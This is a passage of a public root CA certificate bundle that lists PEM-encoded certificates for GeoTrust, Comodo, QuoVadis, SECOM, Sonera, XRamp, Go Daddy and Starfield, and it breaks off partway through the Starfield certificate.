GeoTrust Universal CA 2
=======================
-----BEGIN CERTIFICATE-----
MIIFbDCCA1SgAwIBAgIBATANBgkqhkiG9w0BAQUFADBHMQswCQYDVQQGEwJVUzEWMBQGA1UEChMN
R2VvVHJ1c3QgSW5jLjEgMB4GA1UEAxMXR2VvVHJ1c3QgVW5pdmVyc2FsIENBIDIwHhcNMDQwMzA0
MDUwMDAwWhcNMjkwMzA0MDUwMDAwWjBHMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3Qg
SW5jLjEgMB4GA1UEAxMXR2VvVHJ1c3QgVW5pdmVyc2FsIENBIDIwggIiMA0GCSqGSIb3DQEBAQUA
A4ICDwAwggIKAoICAQCzVFLByT7y2dyxUxpZKeexw0Uo5dfR7cXFS6GqdHtXr0om/Nj1XqduGdt0
DE81WzILAePb63p3NeqqWuDW6KFXlPCQo3RWlEQwAx5cTiuFJnSCegx2oG9NzkEtoBUGFF+3Qs17
j1hhNNwqCPkuwwGmIkQcTAeC5lvO0Ep8BNMZcyfwqph/Lq9O64ceJHdqXbboW0W63MOhBW9Wjo8Q
JqVJwy7XQYci4E+GymC16qFjwAGXEHm9ADwSbSsVsaxLse4YuU6W3Nx2/zu+z18DwPw76L5GG//a
QMJS9/7jOvdqdzXQ2o3rXhhqMcceujwbKNZrVMaqW9eiLBsZzKIC9ptZvTdrhrVtgrrY6slWvKk2
WP0+GfPtDCapkzj4T8FdIgbQl+rhrcZV4IErKIM6+vR7IVEAvlI4zs1meaj0gVbi0IMJR1FbUGrP
20gaXT73y/Zl92zxlfgCOzJWgjl6W70viRu/obTo/3+NjN8D8WBOWBFM66M/ECuDmgFz2ZRthAAn
ZqzwcEAJQpKtT5MNYQlRJNiS1QuUYbKHsu3/mjX/hVTK7URDrBs8FmtISgocQIgfksILAAX/8sgC
SqSqqcyZlpwvWOB94b67B9xfBHJcMTTD7F8t4D1kkCLm0ey4Lt1ZrtmhN79UNdxzMk+MBB4zsslG
8dhcyFVQyWi9qLo2CQIDAQABo2MwYTAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBR281Xh+qQ2
+/CfXGJx7Tz0RzgQKzAfBgNVHSMEGDAWgBR281Xh+qQ2+/CfXGJx7Tz0RzgQKzAOBgNVHQ8BAf8E
BAMCAYYwDQYJKoZIhvcNAQEFBQADggIBAGbBxiPz2eAubl/oz66wsCVNK/g7WJtAJDday6sWSf+z
dXkzoS9tcBc0kf5nfo/sm+VegqlVHy/c1FEHEv6sFj4sNcZj/NwQ6w2jqtB8zNHQL1EuxBRa3ugZ
4T7GzKQp5y6EqgYweHZUcyiYWTjgAA1i00J9IZ+uPTqM1fp3DRgrFg5fNuH8KrUwJM/gYwx7WBr+
mbpCErGR9Hxo4sjoryzqyX6uuyo9DRXcNJW2GHSoag/HtPQTxORb7QrSpJdMKu0vbBKJPfEncKpq
A1Ihn0CoZ1Dy81of398j9tx4TuaYT1U6U+Pv8vSfx3zYWK8pIpe44L2RLrB27FcRz+8pRPPphXpg
Y+RdM4kX2TGq2tbzGDVyz4crL2MjhF2EjD9XoIj8mZEoJmmZ1I+XRL6O1UixpCgp8RW04eWe3fiP
pm8m1wk8OhwRDqZsN/etRIcsKMfYdIKz0G9KV7s1KSegi+ghp4dkNl3M2Basx7InQJJVOCiNUW7d
FGdTbHFcJoRNdVq2fmBWqU2t+5sel/MN2dKXVHfaPRK34B7vCAas+YWH6aLcr34YEoP9VhdBLtUp
gn2Z9DH2canPLAEnpQW5qrJITirvn5NSUZU8UnOOVkwXQMAJKOSLakhT2+zNVVXxxvjpoixMptEm
X36vWkzaH6byHCx+rgIW0lbQL1dTR+iS
-----END CERTIFICATE-----

Comodo AAA Services root
========================
-----BEGIN CERTIFICATE-----
MIIEMjCCAxqgAwIBAgIBATANBgkqhkiG9w0BAQUFADB7MQswCQYDVQQGEwJHQjEbMBkGA1UECAwS
R3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHDAdTYWxmb3JkMRowGAYDVQQKDBFDb21vZG8gQ0Eg
TGltaXRlZDEhMB8GA1UEAwwYQUFBIENlcnRpZmljYXRlIFNlcnZpY2VzMB4XDTA0MDEwMTAwMDAw
MFoXDTI4MTIzMTIzNTk1OVowezELMAkGA1UEBhMCR0IxGzAZBgNVBAgMEkdyZWF0ZXIgTWFuY2hl
c3RlcjEQMA4GA1UEBwwHU2FsZm9yZDEaMBgGA1UECgwRQ29tb2RvIENBIExpbWl0ZWQxITAfBgNV
BAMMGEFBQSBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAL5AnfRu4ep2hxxNRUSOvkbIgwadwSr+GB+O5AL686tdUIoWMQuaBtDFcCLNSS1UY8y2bmhG
C1Pqy0wkwLxyTurxFa70VJoSCsN6sjNg4tqJVfMiWPPe3M/vg4aijJRPn2jymJBGhCfHdr/jzDUs
i14HZGWCwEiwqJH5YZ92IFCokcdmtet4YgNW8IoaE+oxox6gmf049vYnMlhvB/VruPsUK6+3qszW
Y19zjNoFmag4qMsXeDZRrOme9Hg6jc8P2ULimAyrL58OAd7vn5lJ8S3frHRNG5i1R8XlKdH5kBjH
Ypy+g8cmez6KJcfA3Z3mNWgQIJ2P2N7Sw4ScDV7oL8kCAwEAAaOBwDCBvTAdBgNVHQ4EFgQUoBEK
Iz6W8Qfs4q8p74Klf9AwpLQwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wewYDVR0f
BHQwcjA4oDagNIYyaHR0cDovL2NybC5jb21vZG9jYS5jb20vQUFBQ2VydGlmaWNhdGVTZXJ2aWNl
cy5jcmwwNqA0oDKGMGh0dHA6Ly9jcmwuY29tb2RvLm5ldC9BQUFDZXJ0aWZpY2F0ZVNlcnZpY2Vz
LmNybDANBgkqhkiG9w0BAQUFAAOCAQEACFb8AvCb6P+k+tZ7xkSAzk/ExfYAWMymtrwUSWgEdujm
7l3sAg9g1o1QGE8mTgHj5rCl7r+8dFRBv/38ErjHT1r0iWAFf2C3BUrz9vHCv8S5dIa2LX1rzNLz
Rt0vxuBqw8M0Ayx9lt1awg6nCpnBBYurDC/zXDrPbDdVCYfeU0BsWO/8tqtlbgT2G9w84FoVxp7Z
8VlIMCFlA2zs6SFz7JsDoeA3raAVGI/6ugLOpyypEBMs1OUIJqsil2D4kF501KKaU73yqWjgom7C
12yxow+ev+to51byrvLjKzg6CYG1a4XXvi3tPxq3smPi9WIsgtRqAEFQ8TmDn5XpNpaYbg==
-----END CERTIFICATE-----

QuoVadis Root CA
================
-----BEGIN CERTIFICATE-----
MIIF0DCCBLigAwIBAgIEOrZQizANBgkqhkiG9w0BAQUFADB/MQswCQYDVQQGEwJCTTEZMBcGA1UE
ChMQUXVvVmFkaXMgTGltaXRlZDElMCMGA1UECxMcUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0
eTEuMCwGA1UEAxMlUXVvVmFkaXMgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wMTAz
MTkxODMzMzNaFw0yMTAzMTcxODMzMzNaMH8xCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRp
cyBMaW1pdGVkMSUwIwYDVQQLExxSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MS4wLAYDVQQD
EyVRdW9WYWRpcyBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAv2G1lVO6V/z68mcLOhrfEYBklbTRvM16z/Ypli4kVEAkOPcahdxYTMuk
J0KX0J+DisPkBgNbAKVRHnAEdOLB1Dqr1607BxgFjv2DrOpm2RgbaIr1VxqYuvXtdj182d6UajtL
F8HVj71lODqV0D1VNk7feVcxKh7YWWVJWCCYfqtffp/p1k3sg3Spx2zY7ilKhSoGFPlU5tPaZQeL
YzcS19Dsw3sgQUSj7cugF+FxZc4dZjH3dgEZyH0DWLaVSR2mEiboxgx24ONmy+pdpibu5cxfvWen
AScOospUxbF6lR1xHkopigPcakXBpBlebzbNw6Kwt/5cOOJSvPhEQ+aQuwIDAQABo4ICUjCCAk4w
PQYIKwYBBQUHAQEEMTAvMC0GCCsGAQUFBzABhiFodHRwczovL29jc3AucXVvdmFkaXNvZmZzaG9y
ZS5jb20wDwYDVR0TAQH/BAUwAwEB/zCCARoGA1UdIASCAREwggENMIIBCQYJKwYBBAG+WAABMIH7
MIHUBggrBgEFBQcCAjCBxxqBxFJlbGlhbmNlIG9uIHRoZSBRdW9WYWRpcyBSb290IENlcnRpZmlj
YXRlIGJ5IGFueSBwYXJ0eSBhc3N1bWVzIGFjY2VwdGFuY2Ugb2YgdGhlIHRoZW4gYXBwbGljYWJs
ZSBzdGFuZGFyZCB0ZXJtcyBhbmQgY29uZGl0aW9ucyBvZiB1c2UsIGNlcnRpZmljYXRpb24gcHJh
Y3RpY2VzLCBhbmQgdGhlIFF1b1ZhZGlzIENlcnRpZmljYXRlIFBvbGljeS4wIgYIKwYBBQUHAgEW
Fmh0dHA6Ly93d3cucXVvdmFkaXMuYm0wHQYDVR0OBBYEFItLbe3TKbkGGew5Oanwl4Rqy+/fMIGu
BgNVHSMEgaYwgaOAFItLbe3TKbkGGew5Oanwl4Rqy+/foYGEpIGBMH8xCzAJBgNVBAYTAkJNMRkw
FwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMSUwIwYDVQQLExxSb290IENlcnRpZmljYXRpb24gQXV0
aG9yaXR5MS4wLAYDVQQDEyVRdW9WYWRpcyBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5ggQ6
tlCLMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQUFAAOCAQEAitQUtf70mpKnGdSkfnIYj9lo
fFIk3WdvOXrEql494liwTXCYhGHoG+NpGA7O+0dQoE7/8CQfvbLO9Sf87C9TqnN7Az10buYWnuul
LsS/VidQK2K6vkscPFVcQR0kvoIgR13VRH56FmjffU1RcHhXHTMe/QKZnAzNCgVPx7uOpHX6Sm2x
gI4JVrmcGmD+XcHXetwReNDWXcG31a0ymQM6isxUJTkxgXsTIlG6Rmyhu576BGxJJnSP0nPrzDCi
5upZIof4l/UO/erMkqQWxFIY6iHOsfHmhIHluqmGKPJDWl0Snawe2ajlCmqnf6CHKc/yiU3U7MXi
5nrQNiOKSnQ2+Q==
-----END CERTIFICATE-----

QuoVadis Root CA 2
==================
-----BEGIN CERTIFICATE-----
MIIFtzCCA5+gAwIBAgICBQkwDQYJKoZIhvcNAQEFBQAwRTELMAkGA1UEBhMCQk0xGTAXBgNVBAoT
EFF1b1ZhZGlzIExpbWl0ZWQxGzAZBgNVBAMTElF1b1ZhZGlzIFJvb3QgQ0EgMjAeFw0wNjExMjQx
ODI3MDBaFw0zMTExMjQxODIzMzNaMEUxCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRpcyBM
aW1pdGVkMRswGQYDVQQDExJRdW9WYWRpcyBSb290IENBIDIwggIiMA0GCSqGSIb3DQEBAQUAA4IC
DwAwggIKAoICAQCaGMpLlA0ALa8DKYrwD4HIrkwZhR0In6spRIXzL4GtMh6QRr+jhiYaHv5+HBg6
XJxgFyo6dIMzMH1hVBHL7avg5tKifvVrbxi3Cgst/ek+7wrGsxDp3MJGF/hd/aTa/55JWpzmM+Yk
lvc/ulsrHHo1wtZn/qtmUIttKGAr79dgw8eTvI02kfN/+NsRE8Scd3bBrrcCaoF6qUWD4gXmuVbB
lDePSHFjIuwXZQeVikvfj8ZaCuWw419eaxGrDPmF60Tp+ARz8un+XJiM9XOva7R+zdRcAitMOeGy
lZUtQofX1bOQQ7dsE/He3fbE+Ik/0XX1ksOR1YqI0JDs3G3eicJlcZaLDQP9nL9bFqyS2+r+eXyt
66/3FsvbzSUr5R/7mp/iUcw6UwxI5g69ybR2BlLmEROFcmMDBOAENisgGQLodKcftslWZvB1Jdxn
wQ5hYIizPtGo/KPaHbDRsSNU30R2be1B2MGyIrZTHN81Hdyhdyox5C315eXbyOD/5YDXC2Og/zOh
D7osFRXql7PSorW+8oyWHhqPHWykYTe5hnMz15eWniN9gqRMgeKh0bpnX5UHoycR7hYQe7xFSkyy
BNKr79X9DFHOUGoIMfmR2gyPZFwDwzqLID9ujWc9Otb+fVuIyV77zGHcizN300QyNQliBJIWENie
J0f7OyHj+OsdWwIDAQABo4GwMIGtMA8GA1UdEwEB/wQFMAMBAf8wCwYDVR0PBAQDAgEGMB0GA1Ud
DgQWBBQahGK8SEwzJQTU7tD2A8QZRtGUazBuBgNVHSMEZzBlgBQahGK8SEwzJQTU7tD2A8QZRtGU
a6FJpEcwRTELMAkGA1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxGzAZBgNVBAMT
ElF1b1ZhZGlzIFJvb3QgQ0EgMoICBQkwDQYJKoZIhvcNAQEFBQADggIBAD4KFk2fBluornFdLwUv
Z+YTRYPENvbzwCYMDbVHZF34tHLJRqUDGCdViXh9duqWNIAXINzng/iN/Ae42l9NLmeyhP3ZRPx3
UIHmfLTJDQtyU/h2BwdBR5YM++CCJpNVjP4iH2BlfF/nJrP3MpCYUNQ3cVX2kiF495V5+vgtJodm
VjB3pjd4M1IQWK4/YY7yarHvGH5KWWPKjaJW1acvvFYfzznB4vsKqBUsfU16Y8Zsl0Q80m/DShcK
+JDSV6IZUaUtl0HaB0+pUNqQjZRG4T7wlP0QADj1O+hA4bRuVhogzG9Yje0uRY/W6ZM/57Es3zrW
IozchLsib9D45MY56QSIPMO661V6bYCZJPVsAfv4l7CUW+v90m/xd2gNNWQjrLhVoQPRTUIZ3Ph1
WVaj+ahJefivDrkRoHy3au000LYmYjgahwz46P0u05B/B5EqHdZ+XIWDmbA4CD/pXvk1B+TJYm5X
f6dQlfe6yJvmjqIBxdZmv3lh8zwc4bmCXF2gw+nYSL0ZohEUGW6yhhtoPkg3Goi3XZZenMfvJ2II
4pEZXNLxId26F0KCl3GBUzGpn/Z9Yr9y4aOTHcyKJloJONDO1w2AFrR4pTqHTI2KpdVGl/IsELm8
VCLAAVBpQ570su9t+Oza8eOx79+Rj1QqCyXBJhnEUhAFZdWCEOrCMc0u
-----END CERTIFICATE-----

QuoVadis Root CA 3
==================
-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----

Security Communication Root CA
==============================
-----BEGIN CERTIFICATE-----
MIIDWjCCAkKgAwIBAgIBADANBgkqhkiG9w0BAQUFADBQMQswCQYDVQQGEwJKUDEYMBYGA1UEChMP
U0VDT00gVHJ1c3QubmV0MScwJQYDVQQLEx5TZWN1cml0eSBDb21tdW5pY2F0aW9uIFJvb3RDQTEw
HhcNMDMwOTMwMDQyMDQ5WhcNMjMwOTMwMDQyMDQ5WjBQMQswCQYDVQQGEwJKUDEYMBYGA1UEChMP
U0VDT00gVHJ1c3QubmV0MScwJQYDVQQLEx5TZWN1cml0eSBDb21tdW5pY2F0aW9uIFJvb3RDQTEw
ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCzs/5/022x7xZ8V6UMbXaKL0u/ZPtM7orw
8yl89f/uKuDp6bpbZCKamm8sOiZpUQWZJtzVHGpxxpp9Hp3dfGzGjGdnSj74cbAZJ6kJDKaVv0uM
DPpVmDvY6CKhS3E4eayXkmmziX7qIWgGmBSWh9JhNrxtJ1aeV+7AwFb9Ms+k2Y7CI9eNqPPYJayX
5HA49LY6tJ07lyZDo6G8SVlyTCMwhwFY9k6+HGhWZq/NQV3Is00qVUarH9oe4kA92819uZKAnDfd
DJZkndwi92SL32HeFZRSFaB9UslLqCHJxrHty8OVYNEP8Ktw+N/LTX7s1vqr2b1/VPKl6Xn62dZ2
JChzAgMBAAGjPzA9MB0GA1UdDgQWBBSgc0mZaNyFW2XjmygvV5+9M7wHSDALBgNVHQ8EBAMCAQYw
DwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAaECpqLvkT115swW1F7NgE+vGkl3g
0dNq/vu+m22/xwVtWSDEHPC32oRYAmP6SBbvT6UL90qY8j+eG61Ha2POCEfrUj94nK9NrvjVT8+a
mCoQQTlSxN3Zmw7vkwGusi7KaEIkQmywszo+zenaSMQVy+n5Bw+SUEmK3TGXX8npN6o7WWWXlDLJ
s58+OmJYxUmtYg5xpTKqL8aJdkNAExNnPaJUJRDL8Try2frbSVa7pv6nQTXD4IhhyYjH3zYQIphZ
6rBK+1YWc26sTfcioU+tHXotRSflMMFe8toTyyVCUZVHA4xsIcx0Qu1T/zOLjw9XARYvz6buyXAi
FL39vmwLAw==
-----END CERTIFICATE-----

Sonera Class 2 Root CA
======================
-----BEGIN CERTIFICATE-----
MIIDIDCCAgigAwIBAgIBHTANBgkqhkiG9w0BAQUFADA5MQswCQYDVQQGEwJGSTEPMA0GA1UEChMG
U29uZXJhMRkwFwYDVQQDExBTb25lcmEgQ2xhc3MyIENBMB4XDTAxMDQwNjA3Mjk0MFoXDTIxMDQw
NjA3Mjk0MFowOTELMAkGA1UEBhMCRkkxDzANBgNVBAoTBlNvbmVyYTEZMBcGA1UEAxMQU29uZXJh
IENsYXNzMiBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJAXSjWdyvANlsdE+hY3
/Ei9vX+ALTU74W+oZ6m/AxxNjG8yR9VBaKQTBME1DJqEQ/xcHf+Js+gXGM2RX/uJ4+q/Tl18GybT
dXnt5oTjV+WtKcT0OijnpXuENmmz/V52vaMtmdOQTiMofRhj8VQ7Jp12W5dCsv+u8E7s3TmVToMG
f+dJQMjFAbJUWmYdPfz56TwKnoG4cPABi+QjVHzIrviQHgCWctRUz2EjvOr7nQKV0ba5cTppCD8P
tOFCx4j1P5iop7oc4HFx71hXgVB6XGt0Rg6DA5jDjqhu8nYybieDwnPz3BjotJPqdURrBGAgcVeH
nfO+oJAjPYok4doh28MCAwEAAaMzMDEwDwYDVR0TAQH/BAUwAwEB/zARBgNVHQ4ECgQISqCqWITT
XjwwCwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBBQUAA4IBAQBazof5FnIVV0sd2ZvnoiYw7JNn39Yt
0jSv9zilzqsWuasvfDXLrNAPtEwr/IDva4yRXzZ299uzGxnq9LIR/WFxRL8oszodv7ND6J+/3DEI
cbCdjdY0RzKQxmUk96BKfARzjzlvF4xytb1LyHr4e4PDKE6cCepnP7JnBBvDFNr450kkkdAdavph
Oe9r5yF1BgfYErQhIHBCcYHaPJo2vqZbDWpsmh+Re/n570K6Tk6ezAyNlNzZRZxe7EJQY670XcSx
EtzKO6gunRRaBXW37Ndj4ro1tgQIkejanZz2ZrUYrAqmVCY0M9IbwdR/GjqOC6oybtv8TyWf2TLH
llpwrN9M
-----END CERTIFICATE-----

XRamp Global CA Root
====================
-----BEGIN CERTIFICATE-----
MIIEMDCCAxigAwIBAgIQUJRs7Bjq1ZxN1ZfvdY+grTANBgkqhkiG9w0BAQUFADCBgjELMAkGA1UE
BhMCVVMxHjAcBgNVBAsTFXd3dy54cmFtcHNlY3VyaXR5LmNvbTEkMCIGA1UEChMbWFJhbXAgU2Vj
dXJpdHkgU2VydmljZXMgSW5jMS0wKwYDVQQDEyRYUmFtcCBHbG9iYWwgQ2VydGlmaWNhdGlvbiBB
dXRob3JpdHkwHhcNMDQxMTAxMTcxNDA0WhcNMzUwMTAxMDUzNzE5WjCBgjELMAkGA1UEBhMCVVMx
HjAcBgNVBAsTFXd3dy54cmFtcHNlY3VyaXR5LmNvbTEkMCIGA1UEChMbWFJhbXAgU2VjdXJpdHkg
U2VydmljZXMgSW5jMS0wKwYDVQQDEyRYUmFtcCBHbG9iYWwgQ2VydGlmaWNhdGlvbiBBdXRob3Jp
dHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCYJB69FbS638eMpSe2OAtp87ZOqCwu
IR1cRN8hXX4jdP5efrRKt6atH67gBhbim1vZZ3RrXYCPKZ2GG9mcDZhtdhAoWORlsH9KmHmf4MMx
foArtYzAQDsRhtDLooY2YKTVMIJt2W7QDxIEM5dfT2Fa8OT5kavnHTu86M/0ay00fOJIYRyO82FE
zG+gSqmUsE3a56k0enI4qEHMPJQRfevIpoy3hsvKMzvZPTeL+3o+hiznc9cKV6xkmxnr9A8ECIqs
AxcZZPRaJSKNNCyy9mgdEm3Tih4U2sSPpuIjhdV6Db1q4Ons7Be7QhtnqiXtRYMh/MHJfNViPvry
xS3T/dRlAgMBAAGjgZ8wgZwwEwYJKwYBBAGCNxQCBAYeBABDAEEwCwYDVR0PBAQDAgGGMA8GA1Ud
EwEB/wQFMAMBAf8wHQYDVR0OBBYEFMZPoj0GY4QJnM5i5ASsjVy16bYbMDYGA1UdHwQvMC0wK6Ap
oCeGJWh0dHA6Ly9jcmwueHJhbXBzZWN1cml0eS5jb20vWEdDQS5jcmwwEAYJKwYBBAGCNxUBBAMC
AQEwDQYJKoZIhvcNAQEFBQADggEBAJEVOQMBG2f7Shz5CmBbodpNl2L5JFMn14JkTpAuw0kbK5rc
/Kh4ZzXxHfARvbdI4xD2Dd8/0sm2qlWkSLoC295ZLhVbO50WfUfXN+pfTXYSNrsf16GBBEYgoyxt
qZ4Bfj8pzgCT3/3JknOJiWSe5yvkHJEs0rnOfc5vMZnT5r7SHpDwCRR5XCOrTdLaIR9NmXmd4c8n
nxCbHIgNsIpkQTG4DmyQJKSbXHGPurt+HBvbaoAPIbzp26a3QPSyi6mx5O+aGtA9aZnuqCij4Tyz
8LIRnM98QObd50N9otg6tamN8jSZxNQQ4Qb9CYQQO+7ETPTsJ3xCwnR8gooJybQDJbw=
-----END CERTIFICATE-----

Go Daddy Class 2 CA
===================
-----BEGIN CERTIFICATE-----
MIIEADCCAuigAwIBAgIBADANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMY
VGhlIEdvIERhZGR5IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRp
ZmljYXRpb24gQXV0aG9yaXR5MB4XDTA0MDYyOTE3MDYyMFoXDTM0MDYyOTE3MDYyMFowYzELMAkG
A1UEBhMCVVMxITAfBgNVBAoTGFRoZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28g
RGFkZHkgQ2xhc3MgMiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASAwDQYJKoZIhvcNAQEBBQAD
ggENADCCAQgCggEBAN6d1+pXGEmhW+vXX0iG6r7d/+TvZxz0ZWizV3GgXne77ZtJ6XCAPVYYYwhv
2vLM0D9/AlQiVBDYsoHUwHU9S3/Hd8M+eKsaA7Ugay9qK7HFiH7Eux6wwdhFJ2+qN1j3hybX2C32
qRe3H3I2TqYXP2WYktsqbl2i/ojgC95/5Y0V4evLOtXiEqITLdiOr18SPaAIBQi2XKVlOARFmR6j
YGB0xUGlcmIbYsUfb18aQr4CUWWoriMYavx4A6lNf4DD+qta/KFApMoZFv6yyO9ecw3ud72a9nmY
vLEHZ6IVDd2gWMZEewo+YihfukEHU1jPEX44dMX4/7VpkI+EdOqXG68CAQOjgcAwgb0wHQYDVR0O
BBYEFNLEsNKR1EwRcbNhyz2h/t2oatTjMIGNBgNVHSMEgYUwgYKAFNLEsNKR1EwRcbNhyz2h/t2o
atTjoWekZTBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYVGhlIEdvIERhZGR5IEdyb3VwLCBJbmMu
MTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5ggEAMAwG
A1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBADJL87LKPpH8EsahB4yOd6AzBhRckB4Y9wim
PQoZ+YeAEW5p5JYXMP80kWNyOO7MHAGjHZQopDH2esRU1/blMVgDoszOYtuURXO1v0XJJLXVggKt
I3lpjbi2Tc7PTMozI+gciKqdi0FuFskg5YmezTvacPd+mSYgFFQlq25zheabIZ0KbIIOqPjCDPoQ
HmyW74cNxA9hi63ugyuV+I6ShHI56yDqg+2DzZduCLzrTia2cyvk0/ZM/iZx4mERdEr/VxqHD3VI
Ls9RaRegAhJhldXRQLIQTO7ErBBDpqWeCtWVYpoNz4iCxTIM5CufReYNnyicsbkqWletNw+vHX/b
vZ8=
-----END CERTIFICATE-----

Starfield Class 2 CA
====================
-----BEGIN CERTIFICATE-----
MIIEDzCCAvegAwIBAgIBADANBgkqhkiG9w0BAQUFADBoMQswCQYDVQQGEwJVUzElMCMGA1UEChMc
U3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEyMDAGA1UECxMpU3RhcmZpZWxkIENsYXNzIDIg
Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDQwNjI5MTczOTE2WhcNMzQwNjI5MTczOTE2WjBo
MQswCQYDVQQGEwJVUzElMCMGA1UEChMcU3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEyMDAG
A1UECxMpU3RhcmZpZWxkIENsYXNzIDIgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggEgMA0GCSqG
SIb3DQEBAQUAA4IBDQAwggEIAoIBAQC3Msj+6XGmBIWtDBFk385N78gDGIc/oav7PKaf8MOh2tTY
